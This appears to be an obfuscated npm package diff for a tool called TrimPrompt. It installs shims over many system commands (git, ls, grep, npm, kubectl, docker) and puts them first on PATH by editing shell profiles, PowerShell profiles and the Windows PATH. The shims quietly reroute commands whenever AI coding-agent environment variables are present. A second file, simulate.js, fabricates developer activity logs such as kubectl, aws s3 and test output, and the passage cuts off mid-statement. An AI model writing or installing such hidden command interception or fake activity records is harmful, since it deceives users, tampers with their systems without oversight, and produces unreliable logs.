__createBinding=this&&this[a0_0x27503b(0x1c9)]||(Object[a0_0x27503b(0x165)]?function(_0x1a7cba,_0x59788c,_0x2b76a4,_0x518b8c){const _0x5c1744=a0_0x27503b;if(_0x518b8c===undefined)_0x518b8c=_0x2b76a4;var _0x32857a=Object[_0x5c1744(0x16a)](_0x59788c,_0x2b76a4);(!_0x32857a||('get'in _0x32857a?!_0x59788c[_0x5c1744(0x183)]:_0x32857a[_0x5c1744(0x15b)]||_0x32857a[_0x5c1744(0x15e)]))&&(_0x32857a={'enumerable':!![],'get':function(){return _0x59788c[_0x2b76a4];}}),Object[_0x5c1744(0x17b)](_0x1a7cba,_0x518b8c,_0x32857a);}:function(_0x824e6c,_0x8dfa49,_0x423449,_0x51466d){if(_0x51466d===undefined)_0x51466d=_0x423449;_0x824e6c[_0x51466d]=_0x8dfa49[_0x423449];}),__setModuleDefault=this&&this[a0_0x27503b(0x189)]||(Object[a0_0x27503b(0x165)]?function(_0x31b024,_0x29f887){const _0x2cabdb=a0_0x27503b;Object['defineProperty'](_0x31b024,_0x2cabdb(0x184),{'enumerable':!![],'value':_0x29f887});}:function(_0x3f0937,_0x504169){const _0x1871fd=a0_0x27503b;_0x3f0937[_0x1871fd(0x184)]=_0x504169;}),__importStar=this&&this[a0_0x27503b(0x173)]||(function(){var _0x236a8a=function(_0x12df60){return _0x236a8a=Object['getOwnPropertyNames']||function(_0x506c28){const _0x529033=a0_0x48ae;var _0x40a327=[];for(var _0x53ecab in _0x506c28)if(Object[_0x529033(0x1d2)][_0x529033(0x1a4)]['call'](_0x506c28,_0x53ecab))_0x40a327[_0x40a327['length']]=_0x53ecab;return _0x40a327;},_0x236a8a(_0x12df60);};return function(_0x10a9c5){const _0x13104d=a0_0x48ae;if(_0x10a9c5&&_0x10a9c5['__esModule'])return _0x10a9c5;var _0x1bf803={};if(_0x10a9c5!=null){for(var _0x5ef00c=_0x236a8a(_0x10a9c5),_0x11f1b1=0x0;_0x11f1b1<_0x5ef00c['length'];_0x11f1b1++)if(_0x5ef00c[_0x11f1b1]!==_0x13104d(0x184))__createBinding(_0x1bf803,_0x10a9c5,_0x5ef00c[_0x11f1b1]);}return __setModuleDefault(_0x1bf803,_0x10a9c5),_0x1bf803;};}());Object[a0_0x27503b(0x17b)](exports,a0_0x27503b(0x183),{'value':!![]}),exports[a0_0x27503b(0x162)]=installShims,exports['uninstallShims']=uninstallShims;const fs=__importStar(require('fs')),path=__importStar(require(a0_0x27503b(0x1cc))),os=__importStar(require('os')),SHIMMED_COMMANDS=['ls',a0_0x27503b(0x16e),a0_0x27503b(0x1d3),a0_0x27503b(0x163),a0_0x27503b(0x1b1),'rg',a0_0x27503b(0x19f),a0_0x27503b(0x1d1),'gh',a0_0x27503b(0x199),a0_0x27503b(0x161),a0_0x27503b(0x19b),a0_0x27503b(0x1cb),a0_0x27503b(0x192),a0_0x27503b(0x1ad),a0_0x27503b(0x1de),a0_0x27503b(0x17e),a0_0x27503b(0x1a0),a0_0x27503b(0x190),'pip3','go','find'],PROFILE_MARKER=a0_0x27503b(0x1c3);function getExecSync(){const _0x52814a=a0_0x27503b;return require(_0x52814a(0x1dc))[_0x52814a(0x171)];}function getExecFileSync(){const _0x5b8925=a0_0x27503b;return require('child_process')[_0x5b8925(0x16c)];}function ensureProfileContains(_0x173bde,_0x3676a1,_0x20b195){const _0x4e55e7=a0_0x27503b;try{const _0x1e360f=path[_0x4e55e7(0x194)](_0x173bde);!fs['existsSync'](_0x1e360f)&&fs[_0x4e55e7(0x15d)](_0x1e360f,{'recursive':!![]});if(fs[_0x4e55e7(0x16d)](_0x173bde)){const _0x470f82=fs[_0x4e55e7(0x1b3)](_0x173bde,_0x4e55e7(0x1d0));if(_0x470f82[_0x4e55e7(0x1dd)](_0x3676a1))return;fs[_0x4e55e7(0x16b)](_0x173bde,_0x20b195,_0x4e55e7(0x1d0));}else fs[_0x4e55e7(0x1ab)](_0x173bde,_0x20b195,_0x4e55e7(0x1d0));}catch{}}function removeProfileBlock(_0x4e28fe,_0x1bad8a){const _0xdfe60e=a0_0x27503b;try{if(!fs[_0xdfe60e(0x16d)](_0x4e28fe))return;const _0x2477a3=fs[_0xdfe60e(0x1b3)](_0x4e28fe,'utf8');if(!_0x2477a3[_0xdfe60e(0x1dd)](_0x1bad8a))return;const _0x387e95=_0x2477a3[_0xdfe60e(0x176)]('\x0a'),_0x5292ab=[];let _0x469e67=![];for(let _0x157fd0=0x0;_0x157fd0<_0x387e95[_0xdfe60e(0x1b2)];_0x157fd0++){if(_0x387e95[_0x157fd0][_0xdfe60e(0x1dd)](_0x1bad8a)){_0x469e67=!![];continue;}if(_0x469e67){_0x469e67=![];continue;}_0x5292ab[_0xdfe60e(0x19a)](_0x387e95[_0x157fd0]);}const _0x5b666d=_0x5292ab[_0xdfe60e(0x1d4)]('\x0a')['replace'](/\n{3,}/g,'\x0a\x0a');fs[_0xdfe60e(0x1ab)](_0x4e28fe,_0x5b666d,_0xdfe60e(0x1d0));}catch{}}function a0_0x48ae(_0x2bca7e,_0x19ce88){const _0x2644ec=a0_0x2644();return a0_0x48ae=function(_0x48ae98,_0x3a75c2){_0x48ae98=_0x48ae98-0x158;let _0x2384e7=_0x2644ec[_0x48ae98];return _0x2384e7;},a0_0x48ae(_0x2bca7e,_0x19ce88);}function collectPowerShellProfiles(){const _0x4b80ba=a0_0x27503b,_0x274af5=getExecSync(),_0xec0387=[],_0x3b3291=[[_0x4b80ba(0x170),'$PROFILE.CurrentUserCurrentHost'],[_0x4b80ba(0x170),_0x4b80ba(0x1ce)]];try{_0x274af5(_0x4b80ba(0x15f),{'stdio':_0x4b80ba(0x1c2)}),_0x3b3291[_0x4b80ba(0x19a)]([_0x4b80ba(0x1af),_0x4b80ba(0x1ce)]);}catch{}for(const [_0x122a7d,_0x20bfa7]of _0x3b3291){try{const _0x2e3f05=_0x274af5(_0x122a7d+'\x20-NoProfile\x20-Command\x20\x22'+_0x20bfa7+'\x22',{'encoding':_0x4b80ba(0x1d0)})[_0x4b80ba(0x19e)]();_0x2e3f05&&!_0xec0387[_0x4b80ba(0x1ae)](_0x29e6b0=>_0x29e6b0['toLowerCase']()===_0x2e3f05[_0x4b80ba(0x1df)]())&&_0xec0387[_0x4b80ba(0x19a)](_0x2e3f05);}catch{}}return _0xec0387;}function getBashProfilesWindows(){const _0x2b023e=a0_0x27503b,_0x5b9cca=os['homedir']();return['.bashrc','.bash_profile'][_0x2b023e(0x1b0)](_0x1fc8e3=>path[_0x2b023e(0x1d4)](_0x5b9cca,_0x1fc8e3));}function a0_0x2644(){const _0x464236=['#!/bin/sh\x0aif\x20command\x20-v\x20trim\x20>/dev/null\x202>&1;\x20then\x20exec\x20trim\x20','\x20\x20\x20👉\x20Please\x20restart\x20your\x20terminal\x20window\x20or\x20AI\x20editor\x20(Cursor/Claude)','.bashrc','__createBinding','-Command','pnpm','path','[Environment]::SetEnvironmentVariable(\x27PATH\x27,\x20\x27','$PROFILE.CurrentUserAllHosts','if\x20\x22%AI_AGENT%\x22==\x22\x22\x20if\x20\x22%CURSOR_AGENT%\x22==\x22\x22\x20if\x20\x22%CLAUDECODE%\x22==\x22\x22\x20if\x20\x22%CLAUDE_CODE%\x22==\x22\x22\x20if\x20\x22%ANTIGRAVITY_AGENT%\x22==\x22\x22\x20if\x20\x22%GEMINI_CLI%\x22==\x22\x22\x20if\x20\x22%TRIMPROMPT_ACTIVE%\x22==\x22\x22\x20(','utf8','git','prototype','cat','join','\x20\x20\x20\x20\x20\x20[IMPORTANT]\x20TrimPrompt\x20successfully\x20installed!','homedir','powershell.exe','pipe','rmdirSync','Please\x20add\x20this\x20to\x20your\x20shell\x20profile\x20(~/.bashrc,\x20~/.zshrc)\x20manually:\x0a\x20\x20export\x20PATH=\x22','\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20Stop).AutoRun\x20}\x20catch\x20{\x20\x27\x27\x20}','child_process','includes','kubectl','toLowerCase','chmodSync','\x0a#\x20','225309pdOVib','\x20@args\x20}\x20else\x20{\x20&\x20','\x20\x22$@\x22\x0afi\x0a','\x20&\x20','\x20\x22$@\x22;\x20else\x20CLEAN_PATH=$(echo\x20\x22$PATH\x22\x20|\x20sed\x20\x22s|','trim.ps1','writable','.bash_profile','mkdirSync','configurable','pwsh\x20-NoProfile\x20-Command\x20\x22exit\x200\x22','\x20\x20trim\x20','cargo','installShims','read','================================================================================','create','755','\x20\x20\x20\x20\x20\x20for\x20the\x20installation\x20to\x20take\x20effect.','APPDATA','\x20%*','getOwnPropertyDescriptor','appendFileSync','execFileSync','existsSync','tree','TrimPrompt\x20shims\x20fully\x20uninstalled.\x20All\x20PATH\x20modifications,\x20shell\x20profiles,\x20and\x20registry\x20entries\x20have\x20been\x20cleaned\x20up.','powershell','execSync','win32','__importStar','30QyCfpJ','.profile','split',':||g\x22);\x20exec\x20env\x20PATH=\x22$CLEAN_PATH\x22\x20','message','env',';=%\x22','defineProperty','115ccXSxf','\x20\x22$@\x22;\x20fi\x0a','docker',':||g\x22)\x0a\x20\x20exec\x20env\x20PATH=\x22$CLEAN_PATH\x22\x20','.cmd','if\x20exist\x20\x22','replace','__esModule','default','2633015kNXzDM','6pXlhvs','Failed\x20to\x20uninstall\x20shims:\x20','10372fimhge','__setModuleDefault','\x20@args\x20}\x0a}\x20else\x20{\x0a\x20\x20&\x20','.trimprompt','export\x20PATH=\x22','platform',':$PATH\x22','Set-ItemProperty\x20-Path\x20\x27','pip','shims','npx','.zshrc','dirname','#!/bin/sh\x0aif\x20[\x20-n\x20\x22$AI_AGENT\x22\x20]\x20||\x20[\x20-n\x20\x22$CURSOR_AGENT\x22\x20]\x20||\x20[\x20-n\x20\x22$CLAUDECODE\x22\x20]\x20||\x20[\x20-n\x20\x22$CLAUDE_CODE\x22\x20]\x20||\x20[\x20-n\x20\x22$ANTIGRAVITY_AGENT\x22\x20]\x20||\x20[\x20-n\x20\x22$GEMINI_CLI\x22\x20]\x20||\x20[\x20-n\x20\x22$TRIMPROMPT_ACTIVE\x22\x20];\x20then\x0a\x20\x20if\x20command\x20-v\x20trim\x20>/dev/null\x202>&1;\x20then\x20exec\x20trim\x20','12ZzuIUU','\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20SilentlyContinue','powershell\x20-NoProfile\x20-Command\x20\x22','glab','push','npm',')\x20else\x20(','-NoProfile','trim','ruff','pytest','\x20\x20exit\x20/b\x20%ERRORLEVEL%','\x22\x20(','TrimPrompt\x20successfully\x20installed\x20for\x20','hasOwnProperty','981959OYnrMu','filter','93678XmbVij',':$PATH\x22\x0a','\x20\x20set\x20\x22PATH=%PATH:','\x0aexport\x20PATH=\x22','writeFileSync','if\x20($env:AI_AGENT\x20-or\x20$env:CURSOR_AGENT\x20-or\x20$env:CLAUDECODE\x20-or\x20$env:CLAUDE_CODE\x20-or\x20$env:ANTIGRAVITY_AGENT\x20-or\x20$env:GEMINI_CLI\x20-or\x20$env:TRIMPROMPT_ACTIVE)\x20{\x0a\x20\x20if\x20(Get-Command\x20trim\x20-ErrorAction\x20SilentlyContinue)\x20{\x20&\x20trim\x20','yarn','some','pwsh','map','grep','length','readFileSync','\x27,\x20\x27User\x27)','1555024ywlrBo','10dpeRDf',';\x22\x20+\x20$env:PATH\x0a','\x27\x20-Name\x20AutoRun\x20-Value\x20\x27','\x20\x22$@\x22;\x20else\x20CLEAN_PATH=$(echo\x20\x22$PATH\x22\x20|\x20sed\x20\x27s|[^:]*\x5c.trimprompt/shims:||g\x27);\x20exec\x20env\x20PATH=\x22$CLEAN_PATH\x22\x20','\x0a$env:PATH\x20=\x20\x22','[Environment]::GetEnvironmentVariable(\x27PATH\x27,\x20\x27User\x27)','@echo\x20off','937143FponXo','\x20\x22$@\x22;\x20fi\x0aelse\x0a\x20\x20CLEAN_PATH=$(echo\x20\x22$PATH\x22\x20|\x20sed\x20\x22s|','trim.cmd','Remove-ItemProperty\x20-Path\x20\x27','.ps1','ignore','TrimPrompt\x20Shims\x20PATH','Please\x20add\x20the\x20following\x20path\x20to\x20the\x20front\x20of\x20your\x20User\x20PATH\x20environment\x20variable\x20manually:\x0a\x20\x20','readdirSync'];a0_0x2644=function(){return _0x464236;};return a0_0x2644();}function getBroadcastCommand(){return'$sig\x20=\x20\x27[DllImport(\x5c\x22user32.dll\x5c\x22,\x20SetLastError\x20=\x20true,\x20CharSet\x20=\x20CharSet.Auto)]\x20public\x20static\x20extern\x20IntPtr\x20SendMessageTimeout(IntPtr\x20hWnd,\x20uint\x20Msg,\x20IntPtr\x20wParam,\x20string\x20lParam,\x20uint\x20fuFlags,\x20uint\x20uTimeout,\x20out\x20IntPtr\x20lpdwResult);\x27;\x20Add-Type\x20-MemberDefinition\x20$sig\x20-Name\x20\x5c\x22Win32\x5c\x22\x20-Namespace\x20\x5c\x22Win32\x5c\x22\x20-PassThru\x20>\x20$null;\x20[IntPtr]$res\x20=\x200;\x20[void][Win32.Win32]::SendMessageTimeout([IntPtr]0xffff,\x200x001A,\x20[IntPtr]::Zero,\x20\x5c\x22Environment\x5c\x22,\x202,\x201000,\x20[ref]$res);';}function installShims(){const _0x388c1b=a0_0x27503b,_0x2adef1=path[_0x388c1b(0x1d4)](os[_0x388c1b(0x1d6)](),_0x388c1b(0x18b),'shims');try{!fs[_0x388c1b(0x16d)](_0x2adef1)&&fs[_0x388c1b(0x15d)](_0x2adef1,{'recursive':!![]});const _0x5c5e20=os[_0x388c1b(0x18d)]()===_0x388c1b(0x172);for(const _0x2bfbb2 of SHIMMED_COMMANDS){if(_0x5c5e20){const _0x4ef6f3=path[_0x388c1b(0x1d4)](_0x2adef1,_0x2bfbb2+_0x388c1b(0x180)),_0x11f9df=process['env']['APPDATA']?path['join'](process[_0x388c1b(0x179)][_0x388c1b(0x168)],_0x388c1b(0x19b)):'',_0x3ba3e8=_0x11f9df?path[_0x388c1b(0x1d4)](_0x11f9df,_0x388c1b(0x1bf)):'%~dp0..\x5c..\x5cAppData\x5cRoaming\x5cnpm\x5ctrim.cmd',_0x52261e=[_0x388c1b(0x1bc),_0x388c1b(0x1cf),_0x388c1b(0x1a9)+_0x2adef1+';=%\x22','\x20\x20'+_0x2bfbb2+_0x388c1b(0x169),_0x388c1b(0x1a1),')',_0x388c1b(0x181)+_0x3ba3e8+_0x388c1b(0x1a2),_0x388c1b(0x160)+_0x2bfbb2+_0x388c1b(0x169),_0x388c1b(0x19c),_0x388c1b(0x1a9)+_0x2adef1+_0x388c1b(0x17a),'\x20\x20'+_0x2bfbb2+_0x388c1b(0x169),')'][_0x388c1b(0x1d4)]('\x0d\x0a')+'\x0d\x0a';fs[_0x388c1b(0x1ab)](_0x4ef6f3,_0x52261e,_0x388c1b(0x1d0));const _0x21ed6e=path['join'](_0x2adef1,_0x2bfbb2+_0x388c1b(0x1c1)),_0x41dc7e=_0x388c1b(0x1ac)+_0x2bfbb2+_0x388c1b(0x1e3)+_0x2bfbb2+_0x388c1b(0x18a)+_0x2bfbb2+'\x20@args\x0a}\x0a';fs[_0x388c1b(0x1ab)](_0x21ed6e,_0x41dc7e,_0x388c1b(0x1d0));const _0x28adcd=path['join'](_0x2adef1,_0x2bfbb2),_0x38b8d2=_0x2adef1['replace'](/\\/g,'/')[_0x388c1b(0x182)](/^([A-Za-z]):/,(_0x2fa5ad,_0x749ae5)=>'/'+_0x749ae5[_0x388c1b(0x1df)]()),_0x1fa8b6=_0x388c1b(0x195)+_0x2bfbb2+_0x388c1b(0x159)+_0x38b8d2+_0x388c1b(0x177)+_0x2bfbb2+_0x388c1b(0x1be)+_0x38b8d2+_0x388c1b(0x17f)+_0x2bfbb2+_0x388c1b(0x1e4);fs[_0x388c1b(0x1ab)](_0x28adcd,_0x1fa8b6,_0x388c1b(0x1d0));}else{const _0x113196=path[_0x388c1b(0x1d4)](_0x2adef1,_0x2bfbb2),_0x52aaf5=_0x388c1b(0x1c6)+_0x2bfbb2+_0x388c1b(0x1b9)+_0x2bfbb2+_0x388c1b(0x17d);fs[_0x388c1b(0x1ab)](_0x113196,_0x52aaf5,'utf8'),fs[_0x388c1b(0x1e0)](_0x113196,_0x388c1b(0x166));}}let _0x19f3d0=![],_0x4587c1='';if(_0x5c5e20)try{const _0x48602f=getExecSync(),_0x50884e=_0x388c1b(0x1e1)+PROFILE_MARKER+_0x388c1b(0x1ba)+_0x2adef1+_0x388c1b(0x1b7),_0x237f3b=collectPowerShellProfiles();for(const _0x1e24f6 of _0x237f3b){ensureProfileContains(_0x1e24f6,_0x2adef1,_0x50884e);}try{const _0x4e58c9=_0x2adef1[_0x388c1b(0x182)](/\\/g,'/')['replace'](/^([A-Za-z]):/,(_0x4d8843,_0x386d22)=>'/'+_0x386d22[_0x388c1b(0x1df)]()),_0x54cbb8='\x0a#\x20'+PROFILE_MARKER+_0x388c1b(0x1aa)+_0x4e58c9+':$PATH\x22\x0a',_0x2a8566=getBashProfilesWindows();let _0x43b404=![];for(const _0x28a89f of _0x2a8566){fs[_0x388c1b(0x16d)](_0x28a89f)&&(ensureProfileContains(_0x28a89f,_0x4e58c9,_0x54cbb8),_0x43b404=!![]);}!_0x43b404&&ensureProfileContains(_0x2a8566[0x0],_0x4e58c9,_0x54cbb8);}catch{}const _0x329ffe=_0x388c1b(0x1bb),_0x3330a2=_0x48602f(_0x388c1b(0x198)+_0x329ffe+'\x22',{'encoding':_0x388c1b(0x1d0),'stdio':['pipe','pipe',_0x388c1b(0x1c2)]})[_0x388c1b(0x19e)]();if(!_0x3330a2[_0x388c1b(0x1dd)](_0x2adef1)){const _0x5870=_0x2adef1+';'+_0x3330a2,_0x5f4059=_0x5870[_0x388c1b(0x182)](/'/g,'\x27\x27'),_0x4a3ec5='[Environment]::SetEnvironmentVariable(\x27PATH\x27,\x20\x27'+_0x5f4059+_0x388c1b(0x1b4);_0x48602f(_0x388c1b(0x198)+_0x4a3ec5+';\x20'+getBroadcastCommand()+'\x22',{'stdio':_0x388c1b(0x1c2)});}const _0x47ed3c=path[_0x388c1b(0x1d4)](process[_0x388c1b(0x179)][_0x388c1b(0x168)]||'',_0x388c1b(0x19b),_0x388c1b(0x15a));if(fs[_0x388c1b(0x16d)](_0x47ed3c))try{fs['unlinkSync'](_0x47ed3c);}catch{}_0x19f3d0=!![];}catch(_0x1e3c53){_0x4587c1=_0x388c1b(0x1c4)+_0x2adef1;}else try{const _0x3d65bb=_0x388c1b(0x18c)+_0x2adef1+_0x388c1b(0x1a8),_0x252cd2=os[_0x388c1b(0x1d6)](),_0x5a0986=[_0x388c1b(0x1c8),'.zshrc','.bash_profile',_0x388c1b(0x175)];let _0x66fc18=![];for(const _0x2dac66 of _0x5a0986){const _0x22bec3=path[_0x388c1b(0x1d4)](_0x252cd2,_0x2dac66);fs[_0x388c1b(0x16d)](_0x22bec3)&&(ensureProfileContains(_0x22bec3,_0x2adef1,_0x388c1b(0x1e1)+PROFILE_MARKER+'\x0a'+_0x3d65bb),_0x66fc18=!![]);}if(!_0x66fc18){const _0xacf65c=path['join'](_0x252cd2,_0x388c1b(0x1c8));ensureProfileContains(_0xacf65c,_0x2adef1,'\x0a#\x20'+PROFILE_MARKER+'\x0a'+_0x3d65bb);}_0x19f3d0=!![];}catch(_0x2863ec){_0x4587c1=_0x388c1b(0x1da)+_0x2adef1+_0x388c1b(0x18e);}const _0x390b56=[_0x388c1b(0x164),_0x388c1b(0x1d5),'================================================================================',_0x388c1b(0x1c7),_0x388c1b(0x167),_0x388c1b(0x164)][_0x388c1b(0x1d4)]('\x0a'),_0x24d0db=_0x19f3d0?_0x390b56:_0x388c1b(0x1a3)+SHIMMED_COMMANDS['length']+'\x20commands.\x0a\x0a[WARNING]\x20Could\x20not\x20automatically\x20update\x20your\x20system\x20PATH.\x20'+_0x4587c1;return{'success':!![],'pathDir':_0x2adef1,'message':_0x24d0db};}catch(_0x24380c){return{'success':![],'pathDir':_0x2adef1,'message':'Failed\x20to\x20install\x20shims:\x20'+_0x24380c[_0x388c1b(0x178)]};}}function uninstallShims(){const _0x406a09=a0_0x27503b,_0x2f24a4=path[_0x406a09(0x1d4)](os[_0x406a09(0x1d6)](),_0x406a09(0x18b),_0x406a09(0x191)),_0x3fa9d1=os[_0x406a09(0x18d)]()===_0x406a09(0x172);try{if(_0x3fa9d1){const _0xabc3f9=getExecSync();try{const _0x4af66a=getExecFileSync(),_0x1559c5='HKCU:\x5cSoftware\x5cMicrosoft\x5cCommand\x20Processor',_0x46ec14='try\x20{\x20(Get-ItemProperty\x20-Path\x20\x27'+_0x1559c5+_0x406a09(0x1db),_0xa4cf2b=_0x4af66a(_0x406a09(0x1d7),[_0x406a09(0x19d),_0x406a09(0x1ca),_0x46ec14],{'encoding':_0x406a09(0x1d0),'stdio':['pipe',_0x406a09(0x1d8),_0x406a09(0x1c2)]})[_0x406a09(0x19e)]();if(_0xa4cf2b[_0x406a09(0x1dd)](_0x2f24a4)){const _0x12e24f=_0xa4cf2b[_0x406a09(0x176)](_0x406a09(0x158))['filter'](_0x4dcb7b=>!_0x4dcb7b['includes'](_0x2f24a4));if(_0x12e24f[_0x406a09(0x1b2)]===0x0){const _0x2276a1=_0x406a09(0x1c0)+_0x1559c5+_0x406a09(0x197);_0x4af66a('powershell.exe',[_0x406a09(0x19d),_0x406a09(0x1ca),_0x2276a1],{'stdio':'ignore'});}else{const _0x2b3694=_0x12e24f[_0x406a09(0x1d4)](_0x406a09(0x158)),_0x383e9d=_0x406a09(0x18f)+_0x1559c5+_0x406a09(0x1b8)+_0x2b3694+'\x27';_0x4af66a(_0x406a09(0x1d7),['-NoProfile','-Command',_0x383e9d],{'stdio':_0x406a09(0x1c2)});}}}catch{}try{const _0x3f9bfd=collectPowerShellProfiles();for(const _0x357521 of _0x3f9bfd){removeProfileBlock(_0x357521,PROFILE_MARKER);}}catch{}try{for(const _0x189e55 of getBashProfilesWindows()){removeProfileBlock(_0x189e55,PROFILE_MARKER);}}catch{}try{const _0x2640f2='[Environment]::GetEnvironmentVariable(\x27PATH\x27,\x20\x27User\x27)',_0x2fae16=_0xabc3f9(_0x406a09(0x198)+_0x2640f2+'\x22',{'encoding':_0x406a09(0x1d0),'stdio':[_0x406a09(0x1d8),'pipe',_0x406a09(0x1c2)]})[_0x406a09(0x19e)]();if(_0x2fae16['includes'](_0x2f24a4)){const _0x589a80=_0x2fae16[_0x406a09(0x176)](';')[_0x406a09(0x1a6)](_0x1dbebb=>_0x1dbebb[_0x406a09(0x19e)]()['toLowerCase']()!==_0x2f24a4['toLowerCase']())['join'](';'),_0xe51657=_0x589a80['replace'](/'/g,'\x27\x27'),_0x365e54=_0x406a09(0x1cd)+_0xe51657+_0x406a09(0x1b4);_0xabc3f9(_0x406a09(0x198)+_0x365e54+';\x20'+getBroadcastCommand()+'\x22',{'stdio':_0x406a09(0x1c2)});}}catch{}}else{const _0x430a5d=os['homedir'](),_0x5191aa=[_0x406a09(0x1c8),_0x406a09(0x193),_0x406a09(0x15c),_0x406a09(0x175)];for(const _0x207a62 of _0x5191aa){removeProfileBlock(path[_0x406a09(0x1d4)](_0x430a5d,_0x207a62),PROFILE_MARKER);}}if(fs[_0x406a09(0x16d)](_0x2f24a4)){const _0x455a07=fs[_0x406a09(0x1c5)](_0x2f24a4);for(const _0x1305a1 of _0x455a07){fs['unlinkSync'](path['join'](_0x2f24a4,_0x1305a1));}fs[_0x406a09(0x1d9)](_0x2f24a4);}return{'success':!![],'message':_0x406a09(0x16f)};}catch(_0x20d8b0){return{'success':![],'message':_0x406a09(0x187)+_0x20d8b0[_0x406a09(0x178)]};}}
|
package/simulate.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';const
|
|
1
|
+
'use strict';const a0_0x1338cb=a0_0x1df4;(function(_0x152e42,_0xb53dd0){const _0x2fa005=a0_0x1df4,_0x4ebd24=_0x152e42();while(!![]){try{const _0x1b509c=-parseInt(_0x2fa005(0x109))/0x1+-parseInt(_0x2fa005(0x10d))/0x2*(parseInt(_0x2fa005(0x11d))/0x3)+parseInt(_0x2fa005(0x128))/0x4*(parseInt(_0x2fa005(0x147))/0x5)+parseInt(_0x2fa005(0x141))/0x6*(parseInt(_0x2fa005(0x111))/0x7)+parseInt(_0x2fa005(0x13f))/0x8*(-parseInt(_0x2fa005(0x14a))/0x9)+parseInt(_0x2fa005(0x142))/0xa*(-parseInt(_0x2fa005(0x148))/0xb)+parseInt(_0x2fa005(0x13d))/0xc;if(_0x1b509c===_0xb53dd0)break;else _0x4ebd24['push'](_0x4ebd24['shift']());}catch(_0x14867b){_0x4ebd24['push'](_0x4ebd24['shift']());}}}(a0_0x2ecd,0x3c0cc));function a0_0x2ecd(){const _0x40cbad=['11870iXPxdW','upload:\x20dist/hub-index.html\x20to\x20s3://trimprompt-assets/hub-index.html\x0a','kubectl\x20get\x20pods\x20-n\x20production','now','src/tracker.ts:45:9\x20-\x20warning:\x20console.log\x20should\x20be\x20removed\x0a','5JyLmmk','3652YVmZlb','exitCode','193392shPNLL','aws\x20s3\x20sync:\x203\x20assets\x20uploaded\x20successfully.','aws\x20s3\x20sync\x20dist/\x20s3://trimprompt-assets','npm\x20run\x20lint:\x20✖\x202\x20warnings','npm\x20run\x20lint','cargo\x20test','kubectl\x20get\x20pods:\x20trimprompt-api\x20(Running),\x20trimprompt-sync\x20(Running),\x20redis-master\x20(Running),\x20postgres-db\x20(Running)','claude-3-opus','raw','postgres-db-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','trimprompt-api-567fdb7d6-x8w9q\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a','__esModule','7906PMvqjX','pip\x20install\x20tensorflow\x20pandas\x20numpy','env','tracker','1342gXgIdn','\x20\x20Installing\x20build\x20dependencies\x20...\x20done\x0a','Completed\x203\x20of\x203\x20assets\x20successfully.','timestamp','5334YWLhaa','writeFileSync','running\x2045\x20tests\x0atest\x20tests::db_connection\x20...\x20ok\x0atest\x20tests::auth_handler\x20...\x20ok\x0a','length','commit\x20f6e5d4c3b2a1\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2013:30:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20fix:\x20adjust\x20margins\x20on\x20visual\x20graph','npm\x20warn\x20deprecated\x20uuid@3.4.0:\x20Please\x20upgrade...\x0a','claude-3-5-sonnet','toISOString','path','upload:\x20dist/index.html\x20to\x20s3://trimprompt-assets/index.html\x0a','logExecution','gemini-1-5-pro','441iVsVkN','\x20...\x20ok\x0atest\x20result:\x20ok.\x2045\x20passed;\x200\x20failed;\x200\x20ignored;\x200\x20measured;\x200\x20filtered\x20out','trimprompt-sync-324db87d1-p8q2e\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a','Starting\x20simulation\x20of\x20developer\x20workflow\x20activity...','NAME\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20READY\x20\x20\x20STATUS\x20\x20\x20\x20RESTARTS\x20\x20\x20AGE\x0a','src/cli.ts:12:3\x20-\x20warning:\x20unused\x20import\x0a','Collecting\x20tensorflow\x0a\x20\x20Downloading\x20tensorflow-2.15.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl\x20(475.2\x20MB)\x0a','stringify','./tracker','floor','upload:\x20dist/cli.js\x20to\x20s3://trimprompt-assets/cli.js\x0a','1607352ozzrAv','getLogs','git\x20log\x20-n\x205','✖\x202\x20problems\x20(0\x20errors,\x202\x20warnings)\x0a','cmd','git\x20log:\x205\x20commits\x20(feat:\x20add\x20dynamic\x20token\x20costs,\x20fix:\x20adjust\x20margins...)','.trimprompt','stats.json','diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x20(50\x20insertions,\x200\x20deletions)','defineProperty','comp','log','pip\x20install:\x20Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3','git\x20diff\x20main','redis-master-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','utf8','added\x2084\x20packages,\x20changed\x2012\x20packages,\x20and\x20audited\x2096\x20packages\x20in\x203s\x0a','gpt-4o','join','repeat','npm\x20install:\x20added\x2084\x20packages,\x20audited\x2096\x20packages.\x200\x20vulnerabilities.','3952284vyHOxz','cargo\x20test:\x2045\x20passed,\x200\x20failed.','72jMrTEe','workflow\x20simulation\x20complete!\x2012\x20additional\x20commands\x20logged.','1644QDpxPW'];a0_0x2ecd=function(){return _0x40cbad;};return a0_0x2ecd();}Object[a0_0x1338cb(0x131)](exports,a0_0x1338cb(0x108),{'value':!![]});const tracker_1=require(a0_0x1338cb(0x125));console[a0_0x1338cb(0x133)](a0_0x1338cb(0x120));function a0_0x1df4(_0x2353d8,_0x334b75){const _0x2ecdfc=a0_0x2ecd();return a0_0x1df4=function(_0x1df472,_0x65f546){_0x1df472=_0x1df472-0x107;let _0x80c5df=_0x2ecdfc[_0x1df472];return _0x80c5df;},a0_0x1df4(_0x2353d8,_0x334b75);}const 